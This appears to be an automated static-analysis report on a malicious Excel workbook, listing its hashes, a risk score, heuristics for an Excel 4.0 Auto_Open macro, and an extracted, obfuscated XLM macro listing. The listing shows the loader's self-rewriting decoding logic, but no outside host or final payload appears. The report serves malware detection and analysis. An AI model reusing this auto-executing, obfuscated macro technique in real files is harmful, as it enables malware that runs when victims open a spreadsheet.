Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 17df910133ab6cce…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:09 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 74522bd2a73978154201a12f693482eb SHA-1: 98a5e94b54e4aa56a99b8126752f68fddbf8c404 SHA-256: 17df910133ab6cce0a226debbdac3d9c23dcb4fd248c5f7773ae937ffc4e6062
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6557 bytes
SHA-256: 00d2699ade9840dde7d79d385e2b58d199be154137b790320f6b63e7094f68b8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ibgyUHw
' 0018     26 LABEL : Cell Value, String Constant - amwGNCMSnWk len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H181 
' 0018     26 LABEL : Cell Value, String Constant - BkryQWXCCEp len=0 
' 0018     24 LABEL : Cell Value, String Constant - ByXVCZDmn len=0 
' 0018     24 LABEL : Cell Value, String Constant - CpnTffMIr len=0 
' 0018     27 LABEL : Cell Value, String Constant - csWwTDsKjInr len=0 
' 0018     25 LABEL : Cell Value, String Constant - EvKLsnfJGg len=0 
' 0018     20 LABEL : Cell Value, String Constant - fJpyC len=0 
' 0018     23 LABEL : Cell Value, String Constant - FycMpiUt len=0 
' 0018     20 LABEL : Cell Value, String Constant - ifisk len=0 
' 0018     24 LABEL : Cell Value, String Constant - IGzWWWcKf len=0 
' 0018     21 LABEL : Cell Value, String Constant - iPAmJJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - IswAJalwRt len=0 
' 0018     22 LABEL : Cell Value, String Constant - MBbgMju len=0 
' 0018     25 LABEL : Cell Value, String Constant - NQLsmzJkQl len=0 
' 0018     23 LABEL : Cell Value, String Constant - nZmGLoGb len=0 
' 0018     22 LABEL : Cell Value, String Constant - oKxIZQt len=0 
' 0018     21 LABEL : Cell Value, String Constant - otmegc len=0 
' 0018     26 LABEL : Cell Value, String Constant - plalIWkzShe len=0 
' 0018     22 LABEL : Cell Value, String Constant - vGvNtPJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - VUzPsmJo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ibgyUHw,H83,"SET.NAME("vGvNtPJ",VALUE("0"))",""
'  ibgyUHw,H87,"SET.NAME("oKxIZQt",vGvNtPJ)",""
'  ibgyUHw,H90,"SET.NAME("NQLsmzJkQl",vGvNtPJ)",""
'  ibgyUHw,H94,"SET.NAME("BkryQWXCCEp",COUNTA(IGzWWWcKf))",""
'  ibgyUHw,H98,"SET.NAME("csWwTDsKjInr",COUNTA(FycMpiUt))",""
'  ibgyUHw,H101,[],""
'  ibgyUHw,H105,"SET.NAME("ByXVCZDmn","")",""
'  ibgyUHw,H108,"oKxIZQt",""
'  ibgyUHw,H113,"SET.NAME("VUzPsmJo",HLOOKUP("*",IGzWWWcKf,oKxIZQt,FALSE))",""
'  ibgyUHw,H115,"nZmGLoGb",""
'  ibgyUHw,H120,"SET.NAME("amwGNCMSnWk",vGvNtPJ)",""
'  ibgyUHw,H124,[],""
'  ibgyUHw,H126,"amwGNCMSnWk",""
'  ibgyUHw,H130,"plalIWkzShe",""
'  ibgyUHw,H134,"otmegc",""
'  ibgyUHw,H137,"CpnTffMIr",""
'  ibgyUHw,H141,"SET.NAME("IswAJalwRt",VALUE(HLOOKUP("*",FycMpiUt,CpnTffMIr,FALSE)))",""
'  ibgyUHw,H145,"EvKLsnfJGg",""
'  ibgyUHw,H149,"ByXVCZDmn",""
'  ibgyUHw,H154,"NQLsmzJkQl",""
'  ibgyUHw,H157,NEXT(),""
'  ibgyUHw,H162,"fJpyC",""
'  ibgyUHw,H167,"SET.NAME("f",INT(T(FORMULA(T(ByXVCZDmn)&"",""&T(fJpyC)))))",""
'  ibgyUHw,H169,"ifisk",""
'  ibgyUHw,H173,NEXT(),""
'  ibgyUHw,H178,RETURN(),""
'  ibgyUHw,H207,"SET.NAME("iPAmJJ",H83)",""
'  ibgyUHw,H210,"IGzWWWcKf",""
'  ibgyUHw,H212,"SET.NAME("FycMpiUt",R86C15)",""
'  ibgyUHw,H216,"SET.NAME("ifisk",222)",""
'  ibgyUHw,H218,"SET.NAME("MBbgMju",8)",""
'  ibgyUHw,H221,iPAmJJ(),""
'  ibgyUHw,H222,HALT(),""